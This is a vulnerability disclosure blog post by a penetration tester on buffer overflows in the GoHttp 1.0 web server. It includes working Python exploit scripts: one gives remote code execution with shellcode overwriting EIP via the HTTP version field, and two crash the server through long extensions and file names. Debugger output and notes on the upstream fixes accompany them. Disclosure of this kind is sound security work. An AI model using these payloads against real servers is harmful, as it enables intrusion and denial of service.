Multiple Vulnerabilites in GoHttp 1.0

While doing some auditing for a client recently, I ran across a webserver used for serving static pages called GoHttp. After a bit of research and testing, it appeared that this server was actually vulnerable to a few buffer overflow exploits resulting in remote code execution, denial of service, and some general memory/heap corruption and mangling.

To start off, I set up a local version of the server to perform my testing.

root@kali:~/Downloads# unzip GoHttp-master.zip
Archive:  GoHttp-master.zip
9d48cca021e4623069b9dd25980b92e6ac2323da
   creating: GoHttp-master/
  inflating: GoHttp-master/.gitignore 
  inflating: GoHttp-master/GoHttp.c 
  inflating: GoHttp-master/README.md 
extracting: GoHttp-master/httpd.conf 
  inflating: GoHttp-master/mime.types 
root@kali:~/Downloads# cd GoHttp-master/
root@kali:~/Downloads/GoHttp-master# gcc -fno-stack-protector -z execstack -m32 -o GoHttp GoHttp.c
root@kali:~/Downloads/GoHttp-master# ls
GoHttp  GoHttp.c  httpd.conf  mime.types  README.md

Remote Code Execution via httpVersion

First up is a remote code execution vulnerability via the httpVersion variable.

To test this, I whipped up a quick Python script with an overly long HTTP Version in the request (the actual file being requested doesn't matter, I just have a second GET in there from some other testing). GoHttp takes whatever is the third argument of the request as the HTTP Version, so it is actually ignoring the "HTTP/1.1" part of this malicious request.

import socket
host = "172.16.126.130"
port = 8888

payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"

request = ("GET GET " + payload + " HTTP/1.1\r\n"
"User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko\r\n"
"Connection: Keep-Alive")

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.sendto(request, (host, port))
response = s.recv(1024)
print response

With my Python script ready, I fired up GDB and hoped for EIP.

root@kali:~/Downloads/GoHttp-master# gdb GoHttp 
GNU gdb (GDB) 7.4.1-debian
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /root/Downloads/GoHttp-master/GoHttp...(no debugging symbols found)...done.
(gdb) r -p 8888
Starting program: /root/Downloads/GoHttp-master/GoHttp -p 8888
warning: no loadable sections found in added symbol-file system-supplied DSO at 0x55575000
Setting port to 8888
Settings:
Port:               8888
Server root:          /home/frw/public_html/
Configuration file:     httpd.conf
Logfile:          .log
Deamon:               0

Program received signal SIGSEGV, Segmentation fault.
0x63413163 in ?? ()
(gdb) i r
eax            0xffffffff     -1
ecx            0xffffd180     -11904
edx            0x556f3ff4     1433354228
ebx            0x556f3ff4     1433354228
esp            0xffffd210     0xffffd210
ebp            0x41306341     0x41306341
esi            0x0     0
edi            0x0     0
eip            0x63413163     0x63413163
eflags         0x10203     [ CF IF RF ]
cs             0x23     35
ss             0x2b     43
ds             0x2b     43
es             0x2b     43
fs             0x0     0
gs             0x63     99

After running that memory address through pattern_offset, it looked like an offset of 64 would give me control of EIP.

root@kali:/usr/share/metasploit-framework/tools# ruby pattern_offset.rb 0x63413163 1000
[*] Exact match at offset 64

Offset in hand, I modified my Python script to quickly verify that I had control of EIP.

import socket
host = "172.16.126.130"
port = 8888

payload = "A" * 64
payload += "BBBB"
payload += "C" * 32

request = ("GET GET " + payload + " HTTP/1.1\r\n"
"User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko\r\n"
"Connection: Keep-Alive")

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.sendto(request, (host, port))
response = s.recv(1024)
print response

This time though, I actually started up the service in temporary shell with ASLR disabled so that I could more easily develop a proof of concept exploit (for more information on this, check here).

root@kali:~/Downloads/GoHttp-master# setarch `uname -m` -R /bin/bash
root@kali:~/Downloads/GoHttp-master# ./GoHttp -p 8888
Setting port to 8888
Settings:
Port:               8888
Server root:          /home/frw/public_html/
Configuration file:     httpd.conf
Logfile:          .log
Deamon:               0

< ...another console... >

root@kali:~# ps aux | grep Go
root     11914  0.0  0.0   1864  1036 pts/2    S+   23:18   0:00 ./GoHttp -p 8888
root     11916  0.0  0.0   7780   508 pts/4    S+   23:18   0:00 grep Go
root@kali:~# gdb
GNU gdb (GDB) 7.4.1-debian
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later 
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
For bug reporting instructions, please see:
.
(gdb) attach 11914
Attaching to process 11914
Reading symbols from /root/Downloads/GoHttp-master/GoHttp...(no debugging symbols found)...done.
Reading symbols from /lib32/libc.so.6...(no debugging symbols found)...done.
Loaded symbols for /lib32/libc.so.6
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
warning: no loadable sections found in added symbol-file system-supplied DSO at 0xf7fde000
0xf7fded10 in ?? ()
(gdb) c
Continuing.

EIP was overwritten with 0x42424242 ("BBBB") as expected, so I had control of the instruction pointer. Additionally, I took a quick look at ESP to find the memory address closest to the beginning of my "shellcode" that I could jump to.

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) i r
eax            0xffffffff     -1
ecx            0xffffd1d0     -11824
edx            0xf7fbbff4     -134496268
ebx            0xf7fbbff4     -134496268
esp            0xffffd260     0xffffd260
ebp            0x41414141     0x41414141
esi            0x0     0
edi            0x0     0
eip            0x42424242     0x42424242
eflags         0x10203     [ CF IF RF ]
cs             0x23     35
ss             0x2b     43
ds             0x2b     43
es             0x2b     43
fs             0x0     0
gs             0x63     99
(gdb) x/100x $esp
0xffffd260:     0x43434343     0x43434343     0x43434343     0x43434343
0xffffd270:     0x43434343     0x43434343     0x43434343     0x43434343
0xffffd280:     0x41410000     0x41414141     0x41414141     0x41414141
0xffffd290:     0x41414141     0x41414141     0x41414141     0x41414141
0xffffd2a0:     0x41414141     0x41414141     0x41414141     0x41414141
0xffffd2b0:     0x41414141     0x41414141     0x41414141     0x41414141
0xffffd2c0:     0x42424242     0x43434343     0x43434343     0x43434343
0xffffd2d0:     0x43434343     0x43434343     0x43434343     0x43434343
0xffffd2e0:     0x43434343     0x54544820     0x2e312f50     0x550a0d31
0xffffd2f0:     0x2d726573     0x6e656741     0x4d203a74     0x6c697a6f
0xffffd300:     0x352f616c     0x2820302e     0x646e6957     0x2073776f
0xffffd310:     0x3620544e     0x203b312e     0x36574f57     0x54203b34
0xffffd320:     0x65646972     0x372f746e     0x203b302e     0x313a7672
0xffffd330:     0x29302e31     0x6b696c20     0x65472065     0x0d6f6b63
0xffffd340:     0x6e6f430a     0x7463656e     0x3a6e6f69     0x65654b20
0xffffd350:     0x6c412d70     0x00657669     0x00000000     0x00000000
0xffffd360:     0x00000000     0x00000000     0x00000000     0x00000000
0xffffd370:     0x00000000     0x00000000     0x00000000     0x00000000
0xffffd380:     0x00000000     0x00000000     0x00000000     0x00000000
0xffffd390:     0x00000000     0x00000000     0x00000000     0x00000000
0xffffd3a0:     0x00000000     0x00000000     0x00000000     0x00000000
0xffffd3b0:     0x00000000     0x00000000     0x00000000     0x00000000
0xffffd3c0:     0x00000000     0x00000000     0x00000000     0x00000000
0xffffd3d0:     0x00000000     0x00000000     0x00000000     0x00000000
0xffffd3e0:     0x00000000     0x00000000     0x00000000     0x00000000

With the memory address nearest the beginning shellcode and a simple shellcode to create a file in the current directory, it was time to write my full exploit.

import socket
host = "172.16.126.130"
port = 8888

# NOP sled to the overflow - the length of the shellcode
payload = "\x90" * (64 - 37)
payload += ("\x6a\x08\x58\xeb\x14\x5b\x31\xd2"
"\x88\x53\x06\x66\x68\x64\x01\x59\xcd\x80\x6a\x01\x58"
"\x31\xdb\xcd\x80\xe8\xe7\xff\xff\xff\x6d\x79\x2e\x74"
"\x78\x74\x58")
payload += "\x90\xd2\xff\xff" # memory address for the beginning of the shellcode

request = ("GET GET " + payload + " HTTP/1.1\r\n"
"User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko\r\n"
"Connection: Keep-Alive")

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.sendto(request, (host, port))
response = s.recv(1024)
print response

I started the server back up, ran my exploit, and verified that my.txt was actually created in the current directory.

root@kali:~/Downloads/GoHttp-master# ls
GoHttp  GoHttp.c  httpd.conf  mime.types  README.md
root@kali:~/Downloads/GoHttp-master# ./GoHttp -p 8888
Setting port to 8888
Settings:
Port:               8888
Server root:          /home/frw/public_html/
Configuration file:     httpd.conf
Logfile:          .log
Deamon:               0
root@kali:~/Downloads/GoHttp-master# ls
GoHttp  GoHttp.c  httpd.conf  mime.types  my.txt  README.md

With the vulnerability and exploit completed, I also set out to fix this issue as well.

The quick and dirty fix was to just malloc the memory required for httpVersion instead of hard coding the array length. This wasn't a permanent solution, but it fixed this particular vulnerability (and the more permanent solution would be provided later).

The commit for the fix can be found here and has already been merged into the main branch.

Denial of Service on GetExtension()

The GetExtension() method is vulnerable to a denial of service if the first "dot" in the requested file name occurs before eleven or more characters.

To test this, I modified my initial Python script to send a normal request for a file that doesn't actually exist. GetExtension() actually interprets the extension for this file as "hindexTTP/1htmldeU.html", which overflows the buffer of 10 causing the crash.

import socket
host = "172.16.126.130"
port = 8888

payload = "ndeU.hindexTTP/1htmldeU.html"

request = ("GET " + payload + " HTTP/1.1\r\n"
"User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko\r\n"
"Connection: Keep-Alive")

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.sendto(request, (host, port))
response = s.recv(1024)
print response

I started the server up again, and verified that it would indeed crash upon attempting to handling this request.

root@kali:~/GoHttp-master# ./GoHttp
Settings:
Port:               8888
Server root:          /root/public_html/
Configuration file:     httpd.conf
Logfile:          .log
Deamon:               0
*** glibc detected *** ./GoHttp: free(): invalid pointer: 0x0000000002589c80 ***
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x75be6)[0x7f42275e3be6]
/lib/x86_64-linux-gnu/libc.so.6(cfree+0x6c)[0x7f42275e898c]
./GoHttp[0x401662]
./GoHttp[0x401aea]
./GoHttp[0x401e43]
./GoHttp[0x401f61]
./GoHttp[0x401fd1]
./GoHttp[0x402011]
./GoHttp[0x40242d]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xfd)[0x7f422758cead]
./GoHttp[0x401009]
======= Memory map: ========
00400000-00403000 r-xp 00000000 08:01 524301                     /root/GoHttp-master/GoHttp
00603000-00604000 rw-p 00003000 08:01 524301                     /root/GoHttp-master/GoHttp
02589000-025aa000 rw-p 00000000 00:00 0                          [heap]
7f4220000000-7f4220021000 rw-p 00000000 00:00 0
7f4220021000-7f4224000000 ---p 00000000 00:00 0
7f4227358000-7f422736d000 r-xp 00000000 08:01 1311922            /lib/x86_64-linux-gnu/libgcc_s.so.1
7f422736d000-7f422756d000 ---p 00015000 08:01 1311922            /lib/x86_64-linux-gnu/libgcc_s.so.1
7f422756d000-7f422756e000 rw-p 00015000 08:01 1311922            /lib/x86_64-linux-gnu/libgcc_s.so.1
7f422756e000-7f42276ef000 r-xp 00000000 08:01 1351000            /lib/x86_64-linux-gnu/libc-2.13.so
7f42276ef000-7f42278ef000 ---p 00181000 08:01 1351000            /lib/x86_64-linux-gnu/libc-2.13.so
7f42278ef000-7f42278f3000 r--p 00181000 08:01 1351000            /lib/x86_64-linux-gnu/libc-2.13.so
7f42278f3000-7f42278f4000 rw-p 00185000 08:01 1351000            /lib/x86_64-linux-gnu/libc-2.13.so
7f42278f4000-7f42278f9000 rw-p 00000000 00:00 0
7f42278f9000-7f4227919000 r-xp 00000000 08:01 1351012            /lib/x86_64-linux-gnu/ld-2.13.so
7f4227af9000-7f4227afc000 rw-p 00000000 00:00 0
7f4227b15000-7f4227b18000 rw-p 00000000 00:00 0
7f4227b18000-7f4227b19000 r--p 0001f000 08:01 1351012            /lib/x86_64-linux-gnu/ld-2.13.so
7f4227b19000-7f4227b1a000 rw-p 00020000 08:01 1351012            /lib/x86_64-linux-gnu/ld-2.13.so
7f4227b1a000-7f4227b1b000 rw-p 00000000 00:00 0
7fff5c560000-7fff5c581000 rw-p 00000000 00:00 0                  [stack]
7fff5c593000-7fff5c595000 r--p 00000000 00:00 0                  [vvar]
7fff5c595000-7fff5c597000 r-xp 00000000 00:00 0                  [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0          [vsyscall]
Aborted
root@kali:~/GoHttp-master#

The fix for this issue was to just stop appending characters to the extension once the maximum length (currently 10) was reached.

More information on the commit for this fix can be found here.

Denial of Service caused by long file names

The final major issue that I uncovered related to another denial of service (no control over instruction pointers unfortunately) caused by overly long file names.

I updated the script to send a normal request with a file name of over 200 characters. There were slightly different error conditions with a normal vs. a malformed extension, but neither gave any control over the stack.

import socket
host = "172.16.126.130"
port = 8885

payload = "A" * 201

request = "GET " + payload + ".html HTTP/1.1"
#request = "GET " + payload + ".ht|l HTTP/1.1"  # different error, same issue

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.sendto(request, (host, port))
response = s.recv(1024)
print response

I restarted the server, ran the malicious request, and verified that the server was indeed crashing when trying to allocate the memory.

root@kali:~/GoHttp-master# gdb GoHttp
GNU gdb (GDB) 7.4.1-debian
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /root/GoHttp-master/GoHttp...done.
(gdb) r -p 8885
Starting program: /root/GoHttp-master/GoHttp -p 8885
warning: no loadable sections found in added symbol-file system-supplied DSO at 0xf7fde000
Setting port to 8885
Settings:
Port:               8885
Server root:          /root/public_html/
Configuration file:     httpd.conf
Logfile:          .log
Deamon:               0
*** glibc detected *** /root/GoHttp-master/GoHttp: malloc(): memory corruption: 0x0804cc90 ***
======= Backtrace: =========
/lib32/libc.so.6(+0x70aa1)[0xf7ecbaa1]
/lib32/libc.so.6(+0x738a4)[0xf7ece8a4]
/lib32/libc.so.6(__libc_malloc+0x5c)[0xf7ed053c]
/root/GoHttp-master/GoHttp[0x80490d4]
/root/GoHttp-master/GoHttp[0x80495c2]
/root/GoHttp-master/GoHttp[0x804990e]
/root/GoHttp-master/GoHttp[0x8049a4e]
/root/GoHttp-master/GoHttp[0x8049acc]
/root/GoHttp-master/GoHttp[0x8049af5]
/root/GoHttp-master/GoHttp[0x8049eec]
/lib32/libc.so.6(__libc_start_main+0xe6)[0xf7e71e46]
/root/GoHttp-master/GoHttp[0x8048bb1]
======= Memory map: ========
08048000-0804b000 r-xp 00000000 08:01 524299                     /root/GoHttp-master/GoHttp
0804b000-0804c000 rw-p 00002000 08:01 524299                     /root/GoHttp-master/GoHttp
0804c000-0806d000 rw-p 00000000 00:00 0                          [heap]
f7d00000-f7d21000 rw-p 00000000 00:00 0
f7d21000-f7e00000 ---p 00000000 00:00 0
f7e23000-f7e3f000 r-xp 00000000 08:01 662824                     /usr/lib32/libgcc_s.so.1
f7e3f000-f7e40000 rw-p 0001b000 08:01 662824                     /usr/lib32/libgcc_s.so.1
f7e5a000-f7e5b000 rw-p 00000000 00:00 0
f7e5b000-f7fb9000 r-xp 00000000 08:01 1721485                    /lib32/libc-2.13.so
f7fb9000-f7fba000 ---p 0015e000 08:01 1721485                    /lib32/libc-2.13.so
f7fba000-f7fbc000 r--p 0015e000 08:01 1721485                    /lib32/libc-2.13.so
f7fbc000-f7fbd000 rw-p 00160000 08:01 1721485                    /lib32/libc-2.13.so
f7fbd000-f7fc1000 rw-p 00000000 00:00 0
f7fda000-f7fdc000 rw-p 00000000 00:00 0
f7fdc000-f7fde000 r--p 00000000 00:00 0                          [vvar]
f7fde000-f7fe0000 r-xp 00000000 00:00 0                          [vdso]
f7fe0000-f7ffc000 r-xp 00000000 08:01 1721497                    /lib32/ld-2.13.so
f7ffc000-f7ffd000 r--p 0001c000 08:01 1721497                    /lib32/ld-2.13.so
f7ffd000-f7ffe000 rw-p 0001d000 08:01 1721497                    /lib32/ld-2.13.so
fffdd000-ffffe000 rw-p 00000000 00:00 0                          [stack]
File extension not existingFile extension not existing
Program received signal SIGABRT, Aborted.
0xf7fded10 in ?? ()
(gdb) bt
#0  0xf7fded10 in ?? ()
#1  0xf7e88d52 in abort () from /lib32/libc.so.6
#2  0xf7ec19bd in ?? () from /lib32/libc.so.6
#3  0xf7ecbaa1 in ?? () from /lib32/libc.so.6
#4  0xf7ece8a4 in ?? () from /lib32/libc.so.6
#5  0xf7ed053c in malloc () from /lib32/libc.so.6
#6  0x080490d4 in checkMime (extension=0x804cc00 "html", mime_type=0x804cda0 "")
    at GoHttp.c:203
#7  0x080495c2 in handleHttpGET (input=0xffffd248 "GET ", 'A' ...)
    at GoHttp.c:370
#8  0x0804990e in receive (socket=9) at GoHttp.c:505
#9  0x08049a4e in handle (socket=9) at GoHttp.c:576
#10 0x08049acc in acceptConnection () at GoHttp.c:600
#11 0x08049af5 in start () at GoHttp.c:625
#12 0x08049eec in main (argc=3, argv=0xffffd584) at GoHttp.c:732

There were a few other similar overflows that revolved around the file name being over 200 characters and memory being trashed/free crashing/stack corruption etc., but nothing too major or specific that needed more examples.

The fix for this (and hopefully any other similar overflows) was to limit the amount of data that could be written to the buffers by the scan() method.

The commit for this fix can be found here.

This was definitely a good exercise in finding new vulnerabilities in software, and in helping the developer to fix them.

doyler on Githubdoyler on Twitter
doyler
Ray Doyle is an avid pentester/security enthusiast/beer connoisseur who has worked in IT for almost 16 years now. From building machines and the software on them, to breaking into them and tearing it all down; he's done it all. To show for it, he has obtained an OSCE, OSCP, eCPPT, GXPN, eWPT, eWPTX, SLAE, eMAPT, Security+, ICAgile CP, ITIL v3 Foundation, and even a sabermetrics certification!

He currently serves as a Principal Penetration Testing Consultant for Secureworks. His previous position was a Senior Penetration Tester for a major financial institution.

When he's not figuring out what cert to get next or side project to work on, he enjoys playing video games, traveling, and watching sports.

Leave a Comment

Filed under Security Not Included

Leave a Reply

Your email address will not be published. Required fields are marked *

*

This site uses Akismet to reduce spam. Learn how your comment data is processed.